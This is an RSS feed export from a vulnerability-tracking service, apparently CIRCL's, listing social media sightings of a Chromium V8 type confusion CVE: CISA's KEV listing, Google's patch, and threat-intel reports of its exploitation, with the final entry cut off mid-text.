https://vulnerability.circl.lu Contains only the most 10 recent sightings. http://www.rssboard.org/rss-specification python-feedgen en Tue, 06 Oct 2026 00:30:53 +0000 https://vulnerability.circl.lu/sighting/28efae35-09b7-4d20-8fcf-11e524c05dc7/export {"uuid": "28efae35-09b7-4d20-8fcf-11e524c05dc7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-85046", "type": "seen", "source": "https://bsky.app/profile/achai.bark.how/post/3mx4bxavehk26", "content": "CVE-2026-87491\nCVE-2026-85046\nCVE-2026-17989\nCVE-2026-19556", "creation_timestamp": "2026-10-05T06:27:38.960912Z"} {"uuid": "28efae35-09b7-4d20-8fcf-11e524c05dc7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-85046", "type": "seen", "source": "https://bsky.app/profile/achai.bark.how/post/3mx4bxavehk26", "content": "CVE-2026-87491\nCVE-2026-85046\nCVE-2026-17989\nCVE-2026-19556", "creation_timestamp": "2026-10-05T06:27:38.960912Z"} https://vulnerability.circl.lu/sighting/28efae35-09b7-4d20-8fcf-11e524c05dc7/export Mon, 05 Oct 2026 06:27:38 +0000 https://vulnerability.circl.lu/sighting/cde95a91-c95b-4425-9144-be8d8de532e7/export {"uuid": "cde95a91-c95b-4425-9144-be8d8de532e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-85046", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mx373tth422r", "content": "\u300cChromium\u300d\u306b\u8106\u5f31\u6027 - \u300cChrome\u300d\u3084\u300cEdge\u300d\u306a\u3069\u5e83\u304f\u5f71\u97ff\n\n\u7c73\u5f53\u5c40\u306f\u3001\u300cChromium\u300d\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u30a8\u30f3\u30b8\u30f3\u300cV8\u300d\u306b\u5224\u660e\u3057\u305f\u8106\u5f31\u6027\u304c\u5b9f\u969b\u306b\u60aa\u7528\u3055\u308c\u3066\u3044\u308b\u3068\u3057\u3066\u6ce8\u610f\u559a\u8d77\u3092\u884c\u3063\u305f\u3002\u300cChromium\u300d\u306e\u6d3e\u751f\u30d6\u30e9\u30a6\u30b6\u3092\u5229\u7528\u3057\u3066\u3044\u308b\u5834\u5408\u306f\u6ce8\u610f\u304c\u5fc5\u8981\u3060\u3002\n\n\u7c73\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09\u306f\u73fe\u5730\u6642\u95932026\u5e749\u67084\u65e5\u3001\u300cCVE-2026-85046\u300d\u3092\u300c\u60aa\u7528\u304c\u78ba\u8a8d\u3055\u308c\u305f\u8106\u5f31\u6027\u30ab\u30bf\u30ed\u30b0\uff08KEV\uff09\u300d\u3078\u8ffd\u52a0\u3057\u305f\u3002\n\n\u300cCVE-2026-85046\u300d\u306f\u3001\u300cChromium\u300d\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u30a8\u30f3\u30b8\u30f3\u300cV8\u300d\u306b\u5224\u660e\u3057\u305f\u8106\u5f31\u6027\u3002\u578b\u306e\u53d6\u308a\u9055\u3048\u306b\u8d77\u56e0\u3057\u3001\u7d30\u5de5\u3057...", "creation_timestamp": "2026-10-04T20:03:52.780203Z"} {"uuid": "cde95a91-c95b-4425-9144-be8d8de532e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-85046", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mx373tth422r", "content": "\u300cChromium\u300d\u306b\u8106\u5f31\u6027 - \u300cChrome\u300d\u3084\u300cEdge\u300d\u306a\u3069\u5e83\u304f\u5f71\u97ff\n\n\u7c73\u5f53\u5c40\u306f\u3001\u300cChromium\u300d\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u30a8\u30f3\u30b8\u30f3\u300cV8\u300d\u306b\u5224\u660e\u3057\u305f\u8106\u5f31\u6027\u304c\u5b9f\u969b\u306b\u60aa\u7528\u3055\u308c\u3066\u3044\u308b\u3068\u3057\u3066\u6ce8\u610f\u559a\u8d77\u3092\u884c\u3063\u305f\u3002\u300cChromium\u300d\u306e\u6d3e\u751f\u30d6\u30e9\u30a6\u30b6\u3092\u5229\u7528\u3057\u3066\u3044\u308b\u5834\u5408\u306f\u6ce8\u610f\u304c\u5fc5\u8981\u3060\u3002\n\n\u7c73\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09\u306f\u73fe\u5730\u6642\u95932026\u5e749\u67084\u65e5\u3001\u300cCVE-2026-85046\u300d\u3092\u300c\u60aa\u7528\u304c\u78ba\u8a8d\u3055\u308c\u305f\u8106\u5f31\u6027\u30ab\u30bf\u30ed\u30b0\uff08KEV\uff09\u300d\u3078\u8ffd\u52a0\u3057\u305f\u3002\n\n\u300cCVE-2026-85046\u300d\u306f\u3001\u300cChromium\u300d\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u30a8\u30f3\u30b8\u30f3\u300cV8\u300d\u306b\u5224\u660e\u3057\u305f\u8106\u5f31\u6027\u3002\u578b\u306e\u53d6\u308a\u9055\u3048\u306b\u8d77\u56e0\u3057\u3001\u7d30\u5de5\u3057...", "creation_timestamp": "2026-10-04T20:03:52.780203Z"} https://vulnerability.circl.lu/sighting/cde95a91-c95b-4425-9144-be8d8de532e7/export Sun, 04 Oct 2026 20:03:52 +0000 https://vulnerability.circl.lu/sighting/9ec92cd8-33a7-4ab6-b64c-2268d4a064ae/export {"uuid": "9ec92cd8-33a7-4ab6-b64c-2268d4a064ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-85046", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mx2irucc5k2o", "content": "\u7c73\u56fd\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09\u304c\u3001Google Chromium V8\u306e\u8106\u5f31\u6027\u3092\u65e2\u77e5\u306e\u60aa\u7528\u3055\u308c\u305f\u8106\u5f31\u6027\u30ea\u30b9\u30c8\u306b\u8ffd\u52a0\n\n\u7c73\u56fd\u306e\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09 \u306f\u3001Google Chromium V8\u306e\u8106\u5f31\u6027\uff08CVE-2026-85046\u3001CVSS\u30b9\u30b3\u30a28.8\uff09\u3092\u65e2\u77e5\u306e\u60aa\u7528\u3055\u308c\u305f\u8106\u5f31\u6027\uff08KEV\uff09\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0\u3057\u307e\u3057\u305f\u3002\n\n\u4eca\u9031\u3001Google\u306fChrome\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u30ea\u30ea\u30fc\u30b9\u3057\u3001CVE-2026-85046\uff08\u73fe\u5728\u3082\u60aa\u7528\u3055\u308c\u3066\u3044\u308bV8\u306e\u578b\u6df7\u540c\u306e\u8106\u5f31\u6027\uff09\u3092\u542b\u308012\u4ef6\u306e\u8106\u5f31\u6027\u3092\u4fee\u6b63\u3057\u305f\u3002\n\n\u3053\u306e\u30d0\u30b0\u306fCh...", "creation_timestamp": "2026-10-04T13:24:38.439659Z"} {"uuid": "9ec92cd8-33a7-4ab6-b64c-2268d4a064ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-85046", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mx2irucc5k2o", "content": "\u7c73\u56fd\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09\u304c\u3001Google Chromium V8\u306e\u8106\u5f31\u6027\u3092\u65e2\u77e5\u306e\u60aa\u7528\u3055\u308c\u305f\u8106\u5f31\u6027\u30ea\u30b9\u30c8\u306b\u8ffd\u52a0\n\n\u7c73\u56fd\u306e\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09 \u306f\u3001Google Chromium V8\u306e\u8106\u5f31\u6027\uff08CVE-2026-85046\u3001CVSS\u30b9\u30b3\u30a28.8\uff09\u3092\u65e2\u77e5\u306e\u60aa\u7528\u3055\u308c\u305f\u8106\u5f31\u6027\uff08KEV\uff09\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0\u3057\u307e\u3057\u305f\u3002\n\n\u4eca\u9031\u3001Google\u306fChrome\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u30ea\u30ea\u30fc\u30b9\u3057\u3001CVE-2026-85046\uff08\u73fe\u5728\u3082\u60aa\u7528\u3055\u308c\u3066\u3044\u308bV8\u306e\u578b\u6df7\u540c\u306e\u8106\u5f31\u6027\uff09\u3092\u542b\u308012\u4ef6\u306e\u8106\u5f31\u6027\u3092\u4fee\u6b63\u3057\u305f\u3002\n\n\u3053\u306e\u30d0\u30b0\u306fCh...", "creation_timestamp": "2026-10-04T13:24:38.439659Z"} https://vulnerability.circl.lu/sighting/9ec92cd8-33a7-4ab6-b64c-2268d4a064ae/export Sun, 04 Oct 2026 13:24:38 +0000 https://vulnerability.circl.lu/sighting/3cf90c3c-87a5-4973-a7da-0708fe0d3fe2/export {"uuid": "3cf90c3c-87a5-4973-a7da-0708fe0d3fe2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-85046", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mx2ip34fwk2o", "content": "CISA Adds One Known Exploited Vulnerability to Catalog\nRelease Date September 04, 2026\n\nCVE-2026-85046 Google Chromium V8 Type Confusion Vulnerability", "creation_timestamp": "2026-10-04T13:23:08.045167Z"} {"uuid": "3cf90c3c-87a5-4973-a7da-0708fe0d3fe2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-85046", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mx2ip34fwk2o", "content": "CISA Adds One Known Exploited Vulnerability to Catalog\nRelease Date September 04, 2026\n\nCVE-2026-85046 Google Chromium V8 Type Confusion Vulnerability", "creation_timestamp": "2026-10-04T13:23:08.045167Z"} https://vulnerability.circl.lu/sighting/3cf90c3c-87a5-4973-a7da-0708fe0d3fe2/export Sun, 04 Oct 2026 13:23:08 +0000 https://vulnerability.circl.lu/sighting/a6d6f349-0a89-4bb0-9cd4-90aa405ca51f/export {"uuid": "a6d6f349-0a89-4bb0-9cd4-90aa405ca51f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-85046", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mwwn2nalrk2u", "content": "Google\u304cChrome\u306e\u65b0\u305f\u306a\u30bc\u30ed\u30c7\u30a4\u8106\u5f31\u6027\u304c\u653b\u6483\u306b\u60aa\u7528\u3055\u308c\u308b\u53ef\u80fd\u6027\u304c\u3042\u308b\u3068\u8b66\u544a\n\nGoogle\u306f\u3001Chrome\u30d6\u30e9\u30a6\u30b6\u306eV8\u30a8\u30f3\u30b8\u30f3\u306b\u5b58\u5728\u3059\u308b\u3001\u60aa\u7528\u3055\u308c\u3066\u3044\u308b\u6df1\u523b\u306a\u30bc\u30ed\u30c7\u30a4\u8106\u5f31\u6027\u3068\u3001\u305d\u306e\u4ed611\u4ef6\u306e\u8106\u5f31\u6027\u306b\u5bfe\u51e6\u3059\u308b\u305f\u3081\u3001\u30d6\u30e9\u30a6\u30b6\u3092\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3057\u305f\u3002\n\n\u60aa\u7528\u3055\u308c\u305f\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4e0a\u306e\u8106\u5f31\u6027\uff08CVE-2026-85046\uff09\u306f\u3001\u578b\u306e\u6df7\u540c\u3068\u3057\u3066\u8aac\u660e\u3055\u308c\u3066\u3044\u308b\u3002\u3053\u306e\u8106\u5f31\u6027\u306f\u3001\u30aa\u30f3\u30e9\u30a4\u30f3\u3067\u300cSerotav\u300d\u3068\u3057\u3066\u77e5\u3089\u308c\u308b\u7814\u7a76\u8005\u306e\u30b5\u30eb\u30f4\u30a1\u30c8\u30fc\u30ec\u30fb\u30b0\u30ea\u30c4\u30a3\u30a2\u6c0f\u306b\u3088\u3063\u3066Google\u306b\u5831\u544a\u3055\u308c\u305f\u3002\n\n\u4eca\u56de\u306e\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u306b\u3088\u308a\u3001Windows\u304a\u3088\u3073macOS\u7248\u306eChrome\u306f\u30d0\u30fc\u30b8\u30e7\u30f3152.0.7977.8...", "creation_timestamp": "2026-10-03T00:30:27.456625Z"} {"uuid": "a6d6f349-0a89-4bb0-9cd4-90aa405ca51f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-85046", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mwwn2nalrk2u", "content": "Google\u304cChrome\u306e\u65b0\u305f\u306a\u30bc\u30ed\u30c7\u30a4\u8106\u5f31\u6027\u304c\u653b\u6483\u306b\u60aa\u7528\u3055\u308c\u308b\u53ef\u80fd\u6027\u304c\u3042\u308b\u3068\u8b66\u544a\n\nGoogle\u306f\u3001Chrome\u30d6\u30e9\u30a6\u30b6\u306eV8\u30a8\u30f3\u30b8\u30f3\u306b\u5b58\u5728\u3059\u308b\u3001\u60aa\u7528\u3055\u308c\u3066\u3044\u308b\u6df1\u523b\u306a\u30bc\u30ed\u30c7\u30a4\u8106\u5f31\u6027\u3068\u3001\u305d\u306e\u4ed611\u4ef6\u306e\u8106\u5f31\u6027\u306b\u5bfe\u51e6\u3059\u308b\u305f\u3081\u3001\u30d6\u30e9\u30a6\u30b6\u3092\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3057\u305f\u3002\n\n\u60aa\u7528\u3055\u308c\u305f\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4e0a\u306e\u8106\u5f31\u6027\uff08CVE-2026-85046\uff09\u306f\u3001\u578b\u306e\u6df7\u540c\u3068\u3057\u3066\u8aac\u660e\u3055\u308c\u3066\u3044\u308b\u3002\u3053\u306e\u8106\u5f31\u6027\u306f\u3001\u30aa\u30f3\u30e9\u30a4\u30f3\u3067\u300cSerotav\u300d\u3068\u3057\u3066\u77e5\u3089\u308c\u308b\u7814\u7a76\u8005\u306e\u30b5\u30eb\u30f4\u30a1\u30c8\u30fc\u30ec\u30fb\u30b0\u30ea\u30c4\u30a3\u30a2\u6c0f\u306b\u3088\u3063\u3066Google\u306b\u5831\u544a\u3055\u308c\u305f\u3002\n\n\u4eca\u56de\u306e\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u306b\u3088\u308a\u3001Windows\u304a\u3088\u3073macOS\u7248\u306eChrome\u306f\u30d0\u30fc\u30b8\u30e7\u30f3152.0.7977.8...", "creation_timestamp": "2026-10-03T00:30:27.456625Z"} https://vulnerability.circl.lu/sighting/a6d6f349-0a89-4bb0-9cd4-90aa405ca51f/export Sat, 03 Oct 2026 00:30:27 +0000 https://vulnerability.circl.lu/sighting/ccc2c2b9-9d47-4023-b021-8871bf4394af/export {"uuid": "ccc2c2b9-9d47-4023-b021-8871bf4394af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-85046", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mwwmue7ke22u", "content": "Google\u304c2026\u5e74\u306b\u60aa\u7528\u3055\u308c\u305f6\u756a\u76ee\u306eChrome\u30bc\u30ed\u30c7\u30a4\u8106\u5f31\u6027\u3092\u4fee\u6b63\n\nGoogle\u306f\u3001CVE-2026-85046\uff08CVSS\u30b9\u30b3\u30a28.8\uff09\u3092\u542b\u308012\u4ef6\u306e\u8106\u5f31\u6027\u3092\u4fee\u6b63\u3059\u308bChrome\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u30ea\u30ea\u30fc\u30b9\u3057\u307e\u3057\u305f\u3002CVE-2026-85046\u306f\u3001\u73fe\u5728\u3082\u60aa\u7528\u3055\u308c\u3066\u3044\u308bV8\u578b\u6df7\u540c\u306e\u8106\u5f31\u6027\u3067\u3059\u3002\n\n\u3053\u306e\u30d0\u30b0\u306fChrome\u306eJavaScript\u304a\u3088\u3073WebAssembly\u30a8\u30f3\u30b8\u30f3\u306b\u5f71\u97ff\u3092\u4e0e\u3048\u3001\u7279\u5225\u306b\u7d30\u5de5\u3055\u308c\u305fHTML\u30da\u30fc\u30b8\u3092\u4f7f\u7528\u3059\u308b\u3053\u3068\u3067\u3001\u30ea\u30e2\u30fc\u30c8\u306e\u653b\u6483\u8005\u304c\u30d6\u30e9\u30a6\u30b6\u306e\u30b5\u30f3\u30c9\u30dc\u30c3\u30af\u30b9\u5185\u3067\u4efb\u610f\u306e\u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u3067\u304d\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002\n\n\u300cCVE-2026-85046: V8\u306b\u304a\u3051...", "creation_timestamp": "2026-10-03T00:26:55.759483Z"} {"uuid": "ccc2c2b9-9d47-4023-b021-8871bf4394af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-85046", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mwwmue7ke22u", "content": "Google\u304c2026\u5e74\u306b\u60aa\u7528\u3055\u308c\u305f6\u756a\u76ee\u306eChrome\u30bc\u30ed\u30c7\u30a4\u8106\u5f31\u6027\u3092\u4fee\u6b63\n\nGoogle\u306f\u3001CVE-2026-85046\uff08CVSS\u30b9\u30b3\u30a28.8\uff09\u3092\u542b\u308012\u4ef6\u306e\u8106\u5f31\u6027\u3092\u4fee\u6b63\u3059\u308bChrome\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u30ea\u30ea\u30fc\u30b9\u3057\u307e\u3057\u305f\u3002CVE-2026-85046\u306f\u3001\u73fe\u5728\u3082\u60aa\u7528\u3055\u308c\u3066\u3044\u308bV8\u578b\u6df7\u540c\u306e\u8106\u5f31\u6027\u3067\u3059\u3002\n\n\u3053\u306e\u30d0\u30b0\u306fChrome\u306eJavaScript\u304a\u3088\u3073WebAssembly\u30a8\u30f3\u30b8\u30f3\u306b\u5f71\u97ff\u3092\u4e0e\u3048\u3001\u7279\u5225\u306b\u7d30\u5de5\u3055\u308c\u305fHTML\u30da\u30fc\u30b8\u3092\u4f7f\u7528\u3059\u308b\u3053\u3068\u3067\u3001\u30ea\u30e2\u30fc\u30c8\u306e\u653b\u6483\u8005\u304c\u30d6\u30e9\u30a6\u30b6\u306e\u30b5\u30f3\u30c9\u30dc\u30c3\u30af\u30b9\u5185\u3067\u4efb\u610f\u306e\u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u3067\u304d\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002\n\n\u300cCVE-2026-85046: V8\u306b\u304a\u3051...", "creation_timestamp": "2026-10-03T00:26:55.759483Z"} https://vulnerability.circl.lu/sighting/ccc2c2b9-9d47-4023-b021-8871bf4394af/export Sat, 03 Oct 2026 00:26:55 +0000 https://vulnerability.circl.lu/sighting/f8f42cd1-180b-4bac-ab25-f3c813331784/export {"uuid": "f8f42cd1-180b-4bac-ab25-f3c813331784", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-85046", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mwwmohyyoc2u", "content": "Google\u304c\u3001\u60aa\u7528\u3055\u308c\u3066\u3044\u308bV8\u30bc\u30ed\u30c7\u30a4\u8106\u5f31\u6027\u3092\u4fee\u6b63\u3059\u308bChrome\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u30ea\u30ea\u30fc\u30b9\n\nGoogle\u306f\u6728\u66dc\u65e5\u3001 12\u4ef6\u306e\u8106\u5f31\u6027\u3092\u4fee\u6b63\u3059\u308b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u516c\u958b\u3057\u305f\u3002\u305d\u306e\u4e2d\u306b\u306f\u3001\u5b9f\u969b\u306b\u60aa\u7528\u3055\u308c\u3066\u3044\u308b\u8106\u5f31\u6027\u3082\u542b\u307e\u308c\u3066\u3044\u308b\u3002\n\n\u6df1\u523b\u5ea6\u306e\u9ad8\u3044\u3053\u306e\u8106\u5f31\u6027\u306f\u3001CVE-2026-85046\uff08CVSS\u30b9\u30b3\u30a2\uff1a8.8\uff09\u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3066\u304a\u308a\u3001Chrome\u306eJavaScript\u304a\u3088\u3073WebAssembly\u30a8\u30f3\u30b8\u30f3\u3067\u3042\u308bV8\u306b\u304a\u3051\u308b\u578b\u6df7\u540c\u30d0\u30b0\u3067\u3042\u308b\u3068\u8aac\u660e\u3055\u308c\u3066\u3044\u308b\u3002\n\n\u300cGoogle Chrome\u306e\u30d0\u30fc\u30b8\u30e7\u30f3152.0.7977.82\u3088\u308a\u524d\u306eV8\u306b\u304a\u3051\u308b\u578b\u306e\u6df7\u540c\u306b\u3088\u308a\u3001\u30ea\u30e2\u30fc\u30c8\u306e\u653b\u6483\u8005\u304c\u7d30\u5de5\u3055\u308c...", "creation_timestamp": "2026-10-03T00:23:39.345980Z"} {"uuid": "f8f42cd1-180b-4bac-ab25-f3c813331784", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-85046", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mwwmohyyoc2u", "content": "Google\u304c\u3001\u60aa\u7528\u3055\u308c\u3066\u3044\u308bV8\u30bc\u30ed\u30c7\u30a4\u8106\u5f31\u6027\u3092\u4fee\u6b63\u3059\u308bChrome\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u30ea\u30ea\u30fc\u30b9\n\nGoogle\u306f\u6728\u66dc\u65e5\u3001 12\u4ef6\u306e\u8106\u5f31\u6027\u3092\u4fee\u6b63\u3059\u308b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u516c\u958b\u3057\u305f\u3002\u305d\u306e\u4e2d\u306b\u306f\u3001\u5b9f\u969b\u306b\u60aa\u7528\u3055\u308c\u3066\u3044\u308b\u8106\u5f31\u6027\u3082\u542b\u307e\u308c\u3066\u3044\u308b\u3002\n\n\u6df1\u523b\u5ea6\u306e\u9ad8\u3044\u3053\u306e\u8106\u5f31\u6027\u306f\u3001CVE-2026-85046\uff08CVSS\u30b9\u30b3\u30a2\uff1a8.8\uff09\u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3066\u304a\u308a\u3001Chrome\u306eJavaScript\u304a\u3088\u3073WebAssembly\u30a8\u30f3\u30b8\u30f3\u3067\u3042\u308bV8\u306b\u304a\u3051\u308b\u578b\u6df7\u540c\u30d0\u30b0\u3067\u3042\u308b\u3068\u8aac\u660e\u3055\u308c\u3066\u3044\u308b\u3002\n\n\u300cGoogle Chrome\u306e\u30d0\u30fc\u30b8\u30e7\u30f3152.0.7977.82\u3088\u308a\u524d\u306eV8\u306b\u304a\u3051\u308b\u578b\u306e\u6df7\u540c\u306b\u3088\u308a\u3001\u30ea\u30e2\u30fc\u30c8\u306e\u653b\u6483\u8005\u304c\u7d30\u5de5\u3055\u308c...", "creation_timestamp": "2026-10-03T00:23:39.345980Z"} https://vulnerability.circl.lu/sighting/f8f42cd1-180b-4bac-ab25-f3c813331784/export Sat, 03 Oct 2026 00:23:39 +0000 https://vulnerability.circl.lu/sighting/9e9be0c4-0b49-4643-b374-3359af4ea5ba/export {"uuid": "9e9be0c4-0b49-4643-b374-3359af4ea5ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-85046", "type": "seen", "source": "https://infosec.exchange/users/volexity/statuses/117349807010597266", "content": "A vulnerability can be patched and still be a zero-day for millions of users. Volexity co-founder and president Steven Adair will deliver the keynote at our upcoming Volexity Cyber Sessions in Amsterdam (October 29) on multiple cases from September 2026, when Volexity uncovered three distinct Chinese threat actors exploiting Chrome (CVE-2026-85046, CVE-2026-87491) and Windows (CVE-2026-85880) vulnerabilities. The Chrome vulnerabilities had already been fixed upstream in Chromium\u2014but hadn't yet reached a public Chrome release\u2014potentially allowing the threat actors to compromise fully up-to-date users. The identical exploit code reused across otherwise unrelated operations points to a shared supplier. Steven will reconstruct these campaigns, tracing the exploit from upstream patch to active deployment and examining the evidence linking the operators despite their different infrastructure, targeting, and tooling, including a false-flag campaign designed to pin the blame on a Russian threat actor. The talk covers what this reveals about exploit supply chains, the risks created by the patch gap, and the attribution challenges posed when capabilities are shared between threat actors.\nSeating is limited. Register now to secure your spot: https://luma.com/0qtkw49c\n#dfir #threatintel", "creation_timestamp": "2026-09-28T17:19:13.132260Z"} {"uuid": "9e9be0c4-0b49-4643-b374-3359af4ea5ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-85046", "type": "seen", "source": "https://infosec.exchange/users/volexity/statuses/117349807010597266", "content": "A vulnerability can be patched and still be a zero-day for millions of users. Volexity co-founder and president Steven Adair will deliver the keynote at our upcoming Volexity Cyber Sessions in Amsterdam (October 29) on multiple cases from September 2026, when Volexity uncovered three distinct Chinese threat actors exploiting Chrome (CVE-2026-85046, CVE-2026-87491) and Windows (CVE-2026-85880) vulnerabilities. The Chrome vulnerabilities had already been fixed upstream in Chromium\u2014but hadn't yet reached a public Chrome release\u2014potentially allowing the threat actors to compromise fully up-to-date users. The identical exploit code reused across otherwise unrelated operations points to a shared supplier. Steven will reconstruct these campaigns, tracing the exploit from upstream patch to active deployment and examining the evidence linking the operators despite their different infrastructure, targeting, and tooling, including a false-flag campaign designed to pin the blame on a Russian threat actor. The talk covers what this reveals about exploit supply chains, the risks created by the patch gap, and the attribution challenges posed when capabilities are shared between threat actors.\nSeating is limited. Register now to secure your spot: https://luma.com/0qtkw49c\n#dfir #threatintel", "creation_timestamp": "2026-09-28T17:19:13.132260Z"} https://vulnerability.circl.lu/sighting/9e9be0c4-0b49-4643-b374-3359af4ea5ba/export Mon, 28 Sep 2026 17:19:13 +0000 https://vulnerability.circl.lu/sighting/5178b979-1ee5-4545-a512-4333badcd3d8/export {"uuid": "5178b979-1ee5-4545-a512-4333badcd3d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-85046", "type": "seen", "source": "https://bsky.app/profile/technoholic.bsky.social/post/3mwkexsv2r423", "content": "A Chinese threat actor, UTA0565, exploited Chrome and Windows zero-days via fake sites on Sept 3-4, 2026, chaining CVE-2026-85046, CVE-2026-87491, and CVE-2026-85880. Stay 